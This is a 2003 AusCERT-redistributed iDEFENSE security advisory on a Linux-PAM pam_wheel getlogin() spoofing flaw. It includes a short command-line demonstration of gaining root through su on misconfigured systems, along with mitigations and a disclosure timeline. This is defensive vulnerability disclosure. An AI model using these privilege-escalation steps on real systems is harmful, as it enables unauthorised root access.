Protect yourself against future threats.
-----BEGIN PGP SIGNED MESSAGE-----
===========================================================================
AUSCERT External Security Bulletin Redistribution
ESB-2003.0424 -- iDEFENSE Security Advisory 06.16.03
Linux-PAM getlogin() Spoofing Vulnerability
17 June 2003
===========================================================================
AusCERT Security Bulletin Summary
---------------------------------
Product: Linux-PAM
Publisher: iDEFENSE
Operating System: Linux
Impact: Root Compromise
Provide Misleading Information
Access Required: Existing Account
CVE Names: CAN-2003-0388
- --------------------------BEGIN INCLUDED TEXT--------------------
- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDEFENSE Security Advisory 06.16.03:
http://www.idefense.com/advisory/06.16.03.txt
Linux-PAM getlogin() Spoofing Vulnerability
June 16, 2003
I. BACKGROUND
The Pluggable Authentication Module (PAM) is a flexible mechanism for
authenticating users. More information is available at
http://www.kernel.org/pub/linux/libs/pam/ .
II. DESCRIPTION
The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in
an insecure manner, thereby allowing attackers to bypass certain
restrictions. The pam_wheel module is often used with su(1) to allow
users belonging to a trusted group to utilize the command without
supplying a password. The module utilizes the getlogin() function to
determine the name of the currently logged in user. This name is then
compared against a list of members of a trusted group as specified in
the configuration file. The following is a snippet of the offending
section of code:
fromsu = getlogin();
if (fromsu) {
tpwd = getpwnam(fromsu);
}
...
...
...
/*
* test if the user is a member of the group, or if the
* user has the "wheel" (sic) group as its primary group.
*/
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {
if (ctrl & PAM_DENY_ARG) {
retval = PAM_PERM_DENIED;
} else if (ctrl & PAM_TRUST_ARG) {
retval = PAM_SUCCESS; /* this can be a sufficient check
*/
} else {
retval = PAM_IGNORE;
}
} else {
If the "trust" option is enabled in the pam_wheel configuration file
and the "use_uid" option is disabled, any local user may spoof the
username returned by getlogin() and gain access to a super-user account
without supplying a password. The following is a sample exploitation
scenario:
$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -
$ logname
farmer
$ ln /dev/tty tty1
$ bash < tty1
$ logname
root
$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
III. ANALYSIS
If the appropriate configuration options are enabled, and a member of
the wheel group is currently logged in, any local user can spoof log
entries, or, in the worst case scenario, obtain super-user privileges
depending on the PAM configuration settings.
IV. DETECTION
Linux-PAM 0.77 and previous versions are vulnerable, however, the
necessary configuration for exploitability must also exist. More
specifically, a trust of the wheel group must exist in an application
such as su(1), and the use_uid option must not be enabled. This is
usually not the default situation with most Linux installations.
The following is a sample default nonvulnerable entry from
/etc/pam.d/su in Redhat 7.3:
# Uncomment the following line to implicitly trust users in the "wheel"
group.
#auth sufficient /lib/security/pam_wheel.so trust use_uid
The following is a sample entry in /etc/pam.d/su that would be
vulnerable to the described attack:
# Uncomment the following line to implicitly trust users in the "wheel"
group.
auth sufficient /lib/security/pam_wheel.so trust
V. WORKAORUND
When utilizing the pam_wheel module, enable the use_uid option. Doing
so should prevent the login name spoofing from circumventing PAM
restrictions.
VI. VENDOR FIX
Andrew Morgan does not plan to release a new version of Linux-PAM,
however, Linux-PAM 0.78, which does fix this flaw, is obtainable via
the following CVS:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/
Linux distributors will be releasing their own updates as appropriate.
VII. CVE INFORMATION
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned the identification number CAN-2003-0388 to this issue.
VIII. DISCLOSURE TIMELINE
21 OCT 2002 Issue disclosed to iDEFENSE
22 NOV 2002 Andrew Morgan (Linux-PAM maintainer) notified
23 NOV 2002 Response received from Andrew Morgan
25 NOV 2002 iDEFENSE clients notified
14 DEC 2002 Patch provided to iDEFENSE for validation
14 JAN 2003 Issue fixed in CVS
09 JUN 2003 Andrew Morgan contacted re: availability of next
stable release
09 JUN 2003 vendor-sec@lst.de informed of CVS updates
16 JUN 2003 Coordinated public disclosure
X. CREDIT
Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this
vulnerability.
Get paid for security research
http://www.idefense.com/contributor.html
Subscribe to iDEFENSE Advisories:
send email to listserv@idefense.com, subject line: "subscribe"
About iDEFENSE:
iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world - from technical vulnerabilities
and hacker profiling to the global spread of viruses and other
malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence and
decision support on cyber-related threats. For more information, visit
http://www.idefense.com .
- -----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
iQA/AwUBPu3bS/rkky7kqW5PEQLIVgCfQyqAETE8GYtZy5Srg67uLsvkE/oAn0zY
ztyfj24MPXXfP3rBcBKnmyEB
=uNkK
- -----END PGP SIGNATURE-----
- --------------------------END INCLUDED TEXT--------------------
You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.
This security bulletin is provided as a service to AusCERT's members. As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to use any or all of this information is
the responsibility of each user or organisation, and should be done so in
accordance with site policies and procedures.
NOTE: This is only the original release of the security bulletin. It may
not be updated when updates to the original are made. If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.
Contact information for the authors of the original document is included
in the Security Bulletin above. If you have any questions or need further
information, please contact them directly.
Previous advisories and external security bulletins can be retrieved from:
http://www.auscert.org.au/render.html?cid=1980
If you believe that your system has been compromised, contact AusCERT or
your representative in FIRST (Forum of Incident Response and Security
Teams).
Internet Email: auscert@auscert.org.au
Facsimile: (07) 3365 7031
Telephone: (07) 3365 4417 (International: +61 7 3365 4417)
AusCERT personnel answer during Queensland business
hours which are GMT+10:00 (AEST). On call after hours
for member emergencies only.
-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967
iQCVAwUBPu5diyh9+71yA2DNAQFYbgQAlm9H0KrPF+1fJCC8vYB1k/FSRQL+FR3K
/6fN5Ts1miLWN3uqokSMCw8trDZIC2XeYCui02yDXoxGNSqdk8AhnrlfZy4I+Leb
A3Y7GQuJAHGNmbEr70/LoTQH+ud71R3jknAg1Y0hqJtkGJl5z7OTxKVzKnL4dE8I
7gij4xKs8lE=
=33my
-----END PGP SIGNATURE-----